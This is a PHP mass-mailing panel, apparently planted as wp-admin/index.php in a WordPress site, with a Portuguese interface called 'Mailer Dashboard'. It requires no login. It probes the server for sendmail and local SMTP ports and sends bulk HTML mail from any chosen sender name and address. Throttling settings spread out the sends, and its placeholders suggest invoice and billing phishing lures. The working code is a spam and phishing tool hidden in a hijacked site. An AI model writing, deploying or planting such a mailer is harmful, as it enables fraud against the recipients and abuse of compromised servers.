File: //proc/self/cwd/wp-admin/index.php
<?php
session_start();
// ─── Auto-detect available send methods ───
function detectMethods() {
$methods = [];
// 1. Check sendmail/postfix binary
$sendmailPaths = ['/usr/sbin/sendmail', '/usr/lib/sendmail', '/usr/bin/sendmail'];
foreach ($sendmailPaths as $p) {
if (file_exists($p) && is_executable($p)) {
$methods['sendmail'] = ['available' => true, 'path' => $p, 'label' => 'Sendmail / Postfix'];
break;
}
}
// 2. Check local SMTP (port 25 on localhost)
$sock = @fsockopen('127.0.0.1', 25, $errno, $errstr, 3);
if ($sock) {
$banner = fgets($sock, 512);
fclose($sock);
$methods['local_smtp'] = [
'available' => true,
'banner' => trim($banner),
'label' => 'SMTP Local (porta 25)'
];
}
// 3. Check local submission port 587
$sock587 = @fsockopen('127.0.0.1', 587, $errno, $errstr, 3);
if ($sock587) {
$banner = fgets($sock587, 512);
fclose($sock587);
$methods['local_587'] = [
'available' => true,
'banner' => trim($banner),
'label' => 'SMTP Local (porta 587)'
];
}
return $methods;
}
// ─── Send via local SMTP (no auth) ───
function sendLocalSMTP($port, $fromName, $fromEmail, $to, $subject, $body, $contentType) {
$sock = @fsockopen('127.0.0.1', $port, $errno, $errstr, 10);
if (!$sock) return false;
$resp = fgets($sock, 512);
if (substr($resp, 0, 3) !== '220') { fclose($sock); return false; }
fputs($sock, "EHLO localhost\r\n");
smtpDrain($sock);
fputs($sock, "MAIL FROM:<{$fromEmail}>\r\n");
$resp = smtpDrain($sock);
if (substr($resp, 0, 3) !== '250') { fclose($sock); return false; }
fputs($sock, "RCPT TO:<{$to}>\r\n");
$resp = smtpDrain($sock);
if (substr($resp, 0, 3) !== '250') { fclose($sock); return false; }
fputs($sock, "DATA\r\n");
$resp = smtpDrain($sock);
if (substr($resp, 0, 3) !== '354') { fclose($sock); return false; }
$mime = ($contentType === 'html') ? 'text/html' : 'text/plain';
$date = date('r');
$msgId = '<' . uniqid('msg_', true) . '@' . gethostname() . '>';
$msg = "Date: {$date}\r\n";
$msg .= "Message-ID: {$msgId}\r\n";
$msg .= "From: {$fromName} <{$fromEmail}>\r\n";
$msg .= "To: {$to}\r\n";
$msg .= "Subject: {$subject}\r\n";
$msg .= "MIME-Version: 1.0\r\n";
$msg .= "Content-Type: {$mime}; charset=UTF-8\r\n";
$msg .= "Content-Transfer-Encoding: 8bit\r\n";
$msg .= "X-Mailer: PHP/" . phpversion() . "\r\n";
$msg .= "\r\n";
$msg .= str_replace("\n.", "\n..", $body) . "\r\n";
$msg .= ".\r\n";
fputs($sock, $msg);
$resp = smtpDrain($sock);
fputs($sock, "QUIT\r\n");
fclose($sock);
return (substr($resp, 0, 3) === '250');
}
// ─── Send via external SMTP (with auth) ───
function sendExternalSMTP($host, $port, $user, $pass, $enc, $fromName, $fromEmail, $to, $subject, $body, $contentType) {
$port = intval($port);
if ($enc === 'ssl') {
$sock = @fsockopen("ssl://{$host}", $port, $errno, $errstr, 15);
} else {
$sock = @fsockopen($host, $port, $errno, $errstr, 15);
}
if (!$sock) return false;
$resp = fgets($sock, 512);
if (substr($resp, 0, 3) !== '220') { fclose($sock); return false; }
fputs($sock, "EHLO " . gethostname() . "\r\n");
smtpDrain($sock);
if ($enc === 'tls') {
fputs($sock, "STARTTLS\r\n");
$resp = smtpDrain($sock);
if (substr($resp, 0, 3) !== '220') { fclose($sock); return false; }
stream_socket_enable_crypto($sock, true, STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT);
fputs($sock, "EHLO " . gethostname() . "\r\n");
smtpDrain($sock);
}
if (!empty($user) && !empty($pass)) {
fputs($sock, "AUTH LOGIN\r\n");
$resp = smtpDrain($sock);
if (substr($resp, 0, 3) !== '334') { fclose($sock); return false; }
fputs($sock, base64_encode($user) . "\r\n");
$resp = smtpDrain($sock);
if (substr($resp, 0, 3) !== '334') { fclose($sock); return false; }
fputs($sock, base64_encode($pass) . "\r\n");
$resp = smtpDrain($sock);
if (substr($resp, 0, 3) !== '235') { fclose($sock); return false; }
}
fputs($sock, "MAIL FROM:<{$fromEmail}>\r\n");
$resp = smtpDrain($sock);
if (substr($resp, 0, 3) !== '250') { fclose($sock); return false; }
fputs($sock, "RCPT TO:<{$to}>\r\n");
$resp = smtpDrain($sock);
if (substr($resp, 0, 3) !== '250') { fclose($sock); return false; }
fputs($sock, "DATA\r\n");
$resp = smtpDrain($sock);
if (substr($resp, 0, 3) !== '354') { fclose($sock); return false; }
$mime = ($contentType === 'html') ? 'text/html' : 'text/plain';
$date = date('r');
$msg = "Date: {$date}\r\n";
$msg .= "From: {$fromName} <{$fromEmail}>\r\n";
$msg .= "To: {$to}\r\n";
$msg .= "Subject: {$subject}\r\n";
$msg .= "MIME-Version: 1.0\r\n";
$msg .= "Content-Type: {$mime}; charset=UTF-8\r\n";
$msg .= "Content-Transfer-Encoding: 8bit\r\n";
$msg .= "X-Mailer: PHP/" . phpversion() . "\r\n";
$msg .= "\r\n";
$msg .= str_replace("\n.", "\n..", $body) . "\r\n";
$msg .= ".\r\n";
fputs($sock, $msg);
$resp = smtpDrain($sock);
fputs($sock, "QUIT\r\n");
fclose($sock);
return (substr($resp, 0, 3) === '250');
}
function smtpDrain($sock) {
$data = '';
while ($line = fgets($sock, 512)) {
$data .= $line;
if (substr($line, 3, 1) === ' ') break;
}
return $data;
}
// ─── API: detect methods ───
if (isset($_GET['action']) && $_GET['action'] === 'detect') {
header('Content-Type: application/json');
echo json_encode(detectMethods());
exit;
}
// ─── API: send emails ───
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'send') {
header('Content-Type: application/json');
$method = $_POST['method'] ?? 'sendmail';
$fromName = $_POST['from_name'] ?? '';
$fromEmail = $_POST['from_email'] ?? '';
$subject = $_POST['subject'] ?? '';
$message = $_POST['message'] ?? '';
$contentType = $_POST['content_type'] ?? 'html';
$emailList = array_filter(array_map('trim', explode("\n", $_POST['email_list'] ?? '')));
$pauseEvery = max(1, intval($_POST['pause_every'] ?? 10));
$pauseMin = max(0, intval($_POST['pause_minutes'] ?? 1));
// External SMTP
$smtpHost = $_POST['smtp_host'] ?? '';
$smtpPort = $_POST['smtp_port'] ?? '587';
$smtpUser = $_POST['smtp_user'] ?? '';
$smtpPass = $_POST['smtp_pass'] ?? '';
$smtpEnc = $_POST['smtp_encryption'] ?? 'tls';
if (empty($fromName) || empty($fromEmail) || empty($subject) || empty($message) || empty($emailList)) {
echo json_encode(['success' => false, 'error' => 'Preencha todos os campos obrigatórios.']);
exit;
}
$results = [];
$sent = 0;
$failed = 0;
foreach ($emailList as $i => $to) {
$to = filter_var(trim($to), FILTER_VALIDATE_EMAIL);
if (!$to) {
$results[] = ['email' => $emailList[$i], 'status' => 'invalid', 'msg' => 'E-mail inválido'];
$failed++;
continue;
}
$ok = false;
switch ($method) {
case 'sendmail':
$headers = [];
$headers[] = "From: {$fromName} <{$fromEmail}>";
$headers[] = "Reply-To: {$fromEmail}";
$headers[] = "MIME-Version: 1.0";
$headers[] = ($contentType === 'html')
? "Content-Type: text/html; charset=UTF-8"
: "Content-Type: text/plain; charset=UTF-8";
$headers[] = "X-Mailer: PHP/" . phpversion();
$ok = mail($to, $subject, $message, implode("\r\n", $headers), "-f{$fromEmail}");
break;
case 'local_smtp':
$ok = sendLocalSMTP(25, $fromName, $fromEmail, $to, $subject, $message, $contentType);
break;
case 'local_587':
$ok = sendLocalSMTP(587, $fromName, $fromEmail, $to, $subject, $message, $contentType);
break;
case 'external':
$ok = sendExternalSMTP($smtpHost, $smtpPort, $smtpUser, $smtpPass, $smtpEnc, $fromName, $fromEmail, $to, $subject, $message, $contentType);
break;
}
if ($ok) {
$results[] = ['email' => $to, 'status' => 'sent', 'msg' => 'Enviado'];
$sent++;
} else {
$results[] = ['email' => $to, 'status' => 'failed', 'msg' => 'Falha no envio'];
$failed++;
}
if ($pauseMin > 0 && ($i + 1) % $pauseEvery === 0 && ($i + 1) < count($emailList)) {
sleep($pauseMin * 60);
}
}
echo json_encode([
'success' => true,
'sent' => $sent,
'failed' => $failed,
'total' => count($emailList),
'results' => $results
]);
exit;
}
?>
<!DOCTYPE html>
<html lang="pt-BR">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Painel de Envio</title>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&family=JetBrains+Mono:wght@400;500&display=swap" rel="stylesheet">
<style>
*, *::before, *::after { margin: 0; padding: 0; box-sizing: border-box; }
:root {
--bg-deep: #07070b;
--bg-card: #0f0f16;
--bg-input: #161620;
--bg-hover: #1c1c2a;
--border: #1e1e2e;
--border-focus: #f59e0b;
--amber: #f59e0b;
--amber-dim: #b47408;
--amber-glow: rgba(245, 158, 11, 0.12);
--purple: #7c3aed;
--purple-dim: #5b21b6;
--purple-glow: rgba(124, 58, 237, 0.10);
--green: #10b981;
--green-glow: rgba(16, 185, 129, 0.12);
--red: #ef4444;
--red-glow: rgba(239, 68, 68, 0.12);
--text: #e4e4e7;
--text-dim: #71717a;
--text-muted: #52525b;
--radius: 10px;
}
body {
font-family: 'Inter', -apple-system, sans-serif;
background: var(--bg-deep);
color: var(--text);
min-height: 100vh;
line-height: 1.5;
}
/* ─── Topbar ─── */
.topbar {
border-bottom: 1px solid var(--border);
padding: 18px 32px;
display: flex;
align-items: center;
gap: 14px;
background: var(--bg-card);
}
.topbar .logo {
width: 36px; height: 36px;
background: linear-gradient(135deg, var(--amber), var(--purple));
border-radius: 8px;
display: grid; place-items: center;
font-weight: 800; font-size: 16px; color: #fff;
}
.topbar h1 { font-size: 18px; font-weight: 700; letter-spacing: -0.02em; }
.topbar .tag {
font-family: 'JetBrains Mono', monospace;
font-size: 11px; font-weight: 500;
color: var(--amber);
background: var(--amber-glow);
padding: 3px 10px; border-radius: 20px;
}
.shell { max-width: 920px; margin: 0 auto; padding: 40px 24px 80px; }
/* ─── Detection status ─── */
.detect-banner {
display: flex; align-items: center; gap: 10px;
padding: 14px 18px;
border-radius: var(--radius);
margin-bottom: 24px;
font-size: 13px; font-weight: 500;
animation: fadeIn .3s ease;
}
.detect-banner.scanning {
background: var(--purple-glow);
border: 1px solid var(--purple-dim);
color: var(--purple);
}
.detect-banner.done {
background: var(--green-glow);
border: 1px solid rgba(16,185,129,.3);
color: var(--green);
}
.detect-banner .spinner {
width: 16px; height: 16px;
border: 2px solid var(--purple-dim);
border-top-color: var(--purple);
border-radius: 50%;
animation: spin .7s linear infinite;
}
@keyframes spin { to { transform: rotate(360deg); } }
@keyframes fadeIn { from { opacity:0; transform:translateY(-6px); } to { opacity:1; transform:translateY(0); } }
/* ─── Method cards ─── */
.methods-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
gap: 10px;
margin-bottom: 28px;
}
.method-card {
background: var(--bg-card);
border: 2px solid var(--border);
border-radius: var(--radius);
padding: 18px;
cursor: pointer;
transition: all .2s;
position: relative;
}
.method-card:hover { border-color: var(--text-muted); }
.method-card.active {
border-color: var(--amber);
box-shadow: 0 0 0 3px var(--amber-glow);
}
.method-card.disabled {
opacity: .35;
cursor: not-allowed;
pointer-events: none;
}
.method-card .mc-icon {
width: 32px; height: 32px;
border-radius: 7px;
display: grid; place-items: center;
font-size: 14px; font-weight: 700;
margin-bottom: 10px;
}
.method-card .mc-icon.sendmail { background: var(--green-glow); color: var(--green); }
.method-card .mc-icon.smtp25 { background: var(--purple-glow); color: var(--purple); }
.method-card .mc-icon.smtp587 { background: var(--amber-glow); color: var(--amber); }
.method-card .mc-icon.external { background: var(--red-glow); color: var(--red); }
.method-card .mc-title { font-size: 14px; font-weight: 600; margin-bottom: 4px; }
.method-card .mc-status {
font-family: 'JetBrains Mono', monospace;
font-size: 11px;
}
.method-card .mc-status.online { color: var(--green); }
.method-card .mc-status.offline { color: var(--text-muted); }
.method-card .mc-banner {
font-family: 'JetBrains Mono', monospace;
font-size: 10px;
color: var(--text-muted);
margin-top: 6px;
word-break: break-all;
line-height: 1.3;
}
.method-card .check {
position: absolute; top: 12px; right: 12px;
width: 20px; height: 20px;
border-radius: 50%;
border: 2px solid var(--border);
display: grid; place-items: center;
transition: all .2s;
}
.method-card.active .check {
border-color: var(--amber);
background: var(--amber);
}
.method-card.active .check::after {
content: '✓'; color: #000;
font-size: 12px; font-weight: 800;
}
/* ─── Cards ─── */
.card {
background: var(--bg-card);
border: 1px solid var(--border);
border-radius: var(--radius);
padding: 28px;
margin-bottom: 20px;
}
.card-title {
font-size: 13px; font-weight: 600;
text-transform: uppercase;
letter-spacing: 0.06em;
color: var(--text-dim);
margin-bottom: 20px;
display: flex; align-items: center; gap: 8px;
}
.card-title .dot {
width: 7px; height: 7px;
border-radius: 50%;
background: var(--amber);
}
/* ─── Inputs ─── */
.field { margin-bottom: 16px; }
.field:last-child { margin-bottom: 0; }
.field label {
display: block; font-size: 13px; font-weight: 500;
color: var(--text-dim); margin-bottom: 6px;
}
.field input, .field textarea, .field select {
width: 100%;
font-family: 'Inter', sans-serif;
font-size: 14px; color: var(--text);
background: var(--bg-input);
border: 1px solid var(--border);
border-radius: 8px;
padding: 11px 14px;
outline: none;
transition: border-color .2s, box-shadow .2s;
}
.field input:focus, .field textarea:focus, .field select:focus {
border-color: var(--border-focus);
box-shadow: 0 0 0 3px var(--amber-glow);
}
.field textarea { resize: vertical; min-height: 120px; }
.field select { cursor: pointer; }
.field select option { background: var(--bg-input); }
.row { display: grid; grid-template-columns: 1fr 1fr; gap: 14px; }
/* ─── Pills ─── */
.pills { display: flex; gap: 4px; margin-bottom: 16px; }
.pills button {
font-family: 'JetBrains Mono', monospace;
font-size: 12px; font-weight: 500;
padding: 6px 16px; border-radius: 6px;
border: 1px solid var(--border);
background: transparent; color: var(--text-dim);
cursor: pointer; transition: all .2s;
}
.pills button.active {
border-color: var(--purple);
background: var(--purple-glow);
color: var(--purple);
}
/* ─── Pause ─── */
.pause-row {
display: flex; align-items: center; gap: 10px;
font-size: 14px; color: var(--text-dim); flex-wrap: wrap;
}
.pause-row input {
width: 70px;
font-family: 'JetBrains Mono', monospace;
font-size: 14px; color: var(--amber);
background: var(--bg-input);
border: 1px solid var(--border);
border-radius: 8px;
padding: 9px 12px;
outline: none; text-align: center;
}
.pause-row input:focus {
border-color: var(--amber);
box-shadow: 0 0 0 3px var(--amber-glow);
}
/* ─── External SMTP ─── */
.external-fields { display: none; }
.external-fields.visible {
display: block;
animation: slideDown .25s ease;
}
@keyframes slideDown {
from { opacity: 0; transform: translateY(-8px); }
to { opacity: 1; transform: translateY(0); }
}
/* ─── Send button ─── */
.send-btn {
width: 100%; padding: 16px;
font-family: 'Inter', sans-serif;
font-size: 15px; font-weight: 700;
color: #000;
background: linear-gradient(135deg, var(--amber), #fbbf24);
border: none; border-radius: var(--radius);
cursor: pointer;
transition: transform .15s, box-shadow .2s;
margin-top: 8px;
}
.send-btn:hover {
transform: translateY(-1px);
box-shadow: 0 6px 24px rgba(245,158,11,.3);
}
.send-btn:active { transform: translateY(0); }
.send-btn:disabled {
opacity: .5; cursor: not-allowed;
transform: none; box-shadow: none;
}
/* ─── Progress ─── */
.progress-area { margin-top: 24px; display: none; }
.progress-bar-bg {
width: 100%; height: 6px;
background: var(--bg-input);
border-radius: 3px; overflow: hidden;
margin-bottom: 14px;
}
.progress-bar-fill {
height: 100%; width: 0%;
background: linear-gradient(90deg, var(--amber), var(--purple));
border-radius: 3px;
transition: width .4s ease;
}
.stats {
display: flex; gap: 20px;
font-family: 'JetBrains Mono', monospace;
font-size: 13px; margin-bottom: 16px;
}
.stats .stat { display: flex; align-items: center; gap: 6px; }
.stats .stat .n { font-weight: 700; }
.stats .sent { color: var(--green); }
.stats .failed { color: var(--red); }
.stats .total { color: var(--text-dim); }
.result-log {
max-height: 240px; overflow-y: auto;
font-family: 'JetBrains Mono', monospace;
font-size: 12px;
background: var(--bg-input);
border: 1px solid var(--border);
border-radius: 8px; padding: 14px;
}
.result-log .entry {
padding: 4px 0;
display: flex; justify-content: space-between;
border-bottom: 1px solid var(--border);
}
.result-log .entry:last-child { border-bottom: none; }
.result-log .badge {
font-size: 11px; padding: 2px 8px;
border-radius: 4px; font-weight: 600;
}
.result-log .badge.sent { background: rgba(16,185,129,.15); color: var(--green); }
.result-log .badge.failed { background: rgba(239,68,68,.15); color: var(--red); }
.result-log .badge.invalid { background: rgba(113,113,122,.15); color: var(--text-dim); }
.result-log::-webkit-scrollbar { width: 5px; }
.result-log::-webkit-scrollbar-track { background: transparent; }
.result-log::-webkit-scrollbar-thumb { background: var(--border); border-radius: 3px; }
@media (max-width: 600px) {
.shell { padding: 20px 14px 60px; }
.card { padding: 20px; }
.row { grid-template-columns: 1fr; }
.topbar { padding: 14px 16px; }
.methods-grid { grid-template-columns: 1fr; }
}
</style>
</head>
<body>
<div class="topbar">
<div class="logo">M</div>
<h1>Mailer Dashboard</h1>
<span class="tag">v2.0</span>
</div>
<div class="shell">
<!-- Detection Banner -->
<div class="detect-banner scanning" id="detect-banner">
<div class="spinner"></div>
Detectando métodos de envio no servidor...
</div>
<!-- Method Cards -->
<div class="methods-grid" id="methods-grid">
<div class="method-card disabled" data-method="sendmail" onclick="selectMethod('sendmail')">
<div class="check"></div>
<div class="mc-icon sendmail">SM</div>
<div class="mc-title">Sendmail / Postfix</div>
<div class="mc-status offline">Verificando...</div>
</div>
<div class="method-card disabled" data-method="local_smtp" onclick="selectMethod('local_smtp')">
<div class="check"></div>
<div class="mc-icon smtp25">25</div>
<div class="mc-title">SMTP Local :25</div>
<div class="mc-status offline">Verificando...</div>
</div>
<div class="method-card disabled" data-method="local_587" onclick="selectMethod('local_587')">
<div class="check"></div>
<div class="mc-icon smtp587">587</div>
<div class="mc-title">SMTP Local :587</div>
<div class="mc-status offline">Verificando...</div>
</div>
<div class="method-card" data-method="external" onclick="selectMethod('external')">
<div class="check"></div>
<div class="mc-icon external">EX</div>
<div class="mc-title">SMTP Externo</div>
<div class="mc-status online">Sempre disponível</div>
</div>
</div>
<!-- External SMTP Config -->
<div class="card external-fields" id="external-card">
<div class="card-title"><span class="dot"></span> Configuração SMTP Externo</div>
<div class="row" style="margin-bottom:14px;">
<div class="field">
<label>Servidor SMTP</label>
<input type="text" id="smtp_host" placeholder="smtp.seuservidor.com">
</div>
<div class="field">
<label>Porta</label>
<input type="number" id="smtp_port" value="587" placeholder="587">
</div>
</div>
<div class="row" style="margin-bottom:14px;">
<div class="field">
<label>Usuário</label>
<input type="text" id="smtp_user" placeholder="user@dominio.com">
</div>
<div class="field">
<label>Senha</label>
<input type="password" id="smtp_pass" placeholder="••••••••">
</div>
</div>
<div class="field">
<label>Criptografia</label>
<select id="smtp_encryption">
<option value="tls">TLS (STARTTLS)</option>
<option value="ssl">SSL</option>
<option value="none">Nenhuma</option>
</select>
</div>
</div>
<!-- Sender -->
<div class="card">
<div class="card-title"><span class="dot"></span> Remetente</div>
<div class="row">
<div class="field">
<label>Nome do Remetente</label>
<input type="text" id="from_name" placeholder="Financeiro - Sua Empresa">
</div>
<div class="field">
<label>E-mail do Remetente</label>
<input type="email" id="from_email" placeholder="contato@dominio.com">
</div>
</div>
</div>
<!-- Message -->
<div class="card">
<div class="card-title"><span class="dot"></span> Mensagem</div>
<div class="field">
<label>Assunto</label>
<input type="text" id="subject" placeholder="Lembrete: sua assinatura vence em 3 dias">
</div>
<div class="pills">
<button class="active" onclick="setContentType('html', this)">HTML</button>
<button onclick="setContentType('text', this)">Texto Puro</button>
</div>
<div class="field">
<label>Corpo do E-mail</label>
<textarea id="message" rows="8" placeholder="<h1>Olá!</h1> <p>Sua fatura está pendente...</p>"></textarea>
</div>
</div>
<!-- Email List -->
<div class="card">
<div class="card-title"><span class="dot"></span> Lista de Destinatários</div>
<div class="field">
<label>E-mails (um por linha)</label>
<textarea id="email_list" rows="6" placeholder="cliente1@email.com cliente2@email.com cliente3@email.com" style="font-family:'JetBrains Mono',monospace;font-size:13px;"></textarea>
</div>
<div style="font-size:12px;color:var(--text-muted);margin-top:8px;">
<span id="email-count">0</span> e-mails na lista
</div>
</div>
<!-- Throttle -->
<div class="card">
<div class="card-title"><span class="dot"></span> Controle de Envio</div>
<div class="pause-row">
Pausar por
<input type="number" id="pause_minutes" value="1" min="0">
minuto(s) a cada
<input type="number" id="pause_every" value="10" min="1">
e-mails
</div>
</div>
<!-- Send -->
<button class="send-btn" id="send-btn" onclick="startSend()">
Iniciar Envio
</button>
<!-- Progress -->
<div class="progress-area" id="progress-area">
<div class="progress-bar-bg">
<div class="progress-bar-fill" id="progress-fill"></div>
</div>
<div class="stats">
<div class="stat sent"><span class="n" id="stat-sent">0</span> enviados</div>
<div class="stat failed"><span class="n" id="stat-failed">0</span> falhas</div>
<div class="stat total"><span class="n" id="stat-total">0</span> total</div>
</div>
<div class="result-log" id="result-log"></div>
</div>
</div>
<script>
let selectedMethod = null;
let contentType = 'html';
let detected = {};
// Auto-detect on load
window.addEventListener('DOMContentLoaded', () => {
fetch('?action=detect')
.then(r => r.json())
.then(data => {
detected = data;
const banner = document.getElementById('detect-banner');
const found = Object.keys(data).length;
banner.className = 'detect-banner done';
banner.innerHTML = found > 0
? `<span style="font-size:16px;">✓</span> ${found} método(s) detectado(s) automaticamente`
: `<span style="font-size:16px;">⚠</span> Nenhum método local encontrado — use SMTP Externo`;
// Update method cards
updateMethodCard('sendmail', data.sendmail);
updateMethodCard('local_smtp', data.local_smtp);
updateMethodCard('local_587', data.local_587);
// Auto-select first available
if (data.sendmail) selectMethod('sendmail');
else if (data.local_smtp) selectMethod('local_smtp');
else if (data.local_587) selectMethod('local_587');
else selectMethod('external');
})
.catch(() => {
const banner = document.getElementById('detect-banner');
banner.className = 'detect-banner done';
banner.innerHTML = '<span style="font-size:16px;">⚠</span> Erro na detecção — selecione manualmente';
// Enable all cards
document.querySelectorAll('.method-card').forEach(c => c.classList.remove('disabled'));
});
});
function updateMethodCard(method, info) {
const card = document.querySelector(`.method-card[data-method="${method}"]`);
if (!card) return;
const status = card.querySelector('.mc-status');
if (info && info.available) {
card.classList.remove('disabled');
status.className = 'mc-status online';
status.textContent = 'Detectado ✓';
if (info.banner) {
let bannerEl = card.querySelector('.mc-banner');
if (!bannerEl) {
bannerEl = document.createElement('div');
bannerEl.className = 'mc-banner';
card.appendChild(bannerEl);
}
bannerEl.textContent = info.banner;
}
if (info.path) {
let bannerEl = card.querySelector('.mc-banner');
if (!bannerEl) {
bannerEl = document.createElement('div');
bannerEl.className = 'mc-banner';
card.appendChild(bannerEl);
}
bannerEl.textContent = info.path;
}
} else {
status.className = 'mc-status offline';
status.textContent = 'Não disponível';
}
}
function selectMethod(m) {
const card = document.querySelector(`.method-card[data-method="${m}"]`);
if (card && card.classList.contains('disabled')) return;
selectedMethod = m;
document.querySelectorAll('.method-card').forEach(c => c.classList.remove('active'));
if (card) card.classList.add('active');
document.getElementById('external-card').classList.toggle('visible', m === 'external');
}
function setContentType(t, el) {
contentType = t;
document.querySelectorAll('.pills button').forEach(b => b.classList.remove('active'));
el.classList.add('active');
}
document.getElementById('email_list').addEventListener('input', function() {
const lines = this.value.split('\n').filter(l => l.trim() !== '');
document.getElementById('email-count').textContent = lines.length;
});
function startSend() {
if (!selectedMethod) {
alert('Selecione um método de envio.');
return;
}
const btn = document.getElementById('send-btn');
btn.disabled = true;
btn.textContent = 'Enviando...';
const form = new FormData();
form.append('action', 'send');
form.append('method', selectedMethod);
form.append('from_name', document.getElementById('from_name').value);
form.append('from_email', document.getElementById('from_email').value);
form.append('subject', document.getElementById('subject').value);
form.append('message', document.getElementById('message').value);
form.append('content_type', contentType);
form.append('email_list', document.getElementById('email_list').value);
form.append('pause_every', document.getElementById('pause_every').value);
form.append('pause_minutes', document.getElementById('pause_minutes').value);
if (selectedMethod === 'external') {
form.append('smtp_host', document.getElementById('smtp_host').value);
form.append('smtp_port', document.getElementById('smtp_port').value);
form.append('smtp_user', document.getElementById('smtp_user').value);
form.append('smtp_pass', document.getElementById('smtp_pass').value);
form.append('smtp_encryption', document.getElementById('smtp_encryption').value);
}
const area = document.getElementById('progress-area');
area.style.display = 'block';
fetch(window.location.href, { method: 'POST', body: form })
.then(r => r.json())
.then(data => {
if (!data.success) {
alert(data.error || 'Erro desconhecido');
btn.disabled = false;
btn.textContent = 'Iniciar Envio';
return;
}
document.getElementById('stat-sent').textContent = data.sent;
document.getElementById('stat-failed').textContent = data.failed;
document.getElementById('stat-total').textContent = data.total;
document.getElementById('progress-fill').style.width = '100%';
const log = document.getElementById('result-log');
log.innerHTML = '';
data.results.forEach(r => {
const entry = document.createElement('div');
entry.className = 'entry';
entry.innerHTML = `
<span>${r.email}</span>
<span class="badge ${r.status}">${r.msg}</span>
`;
log.appendChild(entry);
});
btn.disabled = false;
btn.textContent = 'Iniciar Envio';
})
.catch(err => {
alert('Erro de conexão: ' + err.message);
btn.disabled = false;
btn.textContent = 'Iniciar Envio';
});
}
</script>
</body>
</html>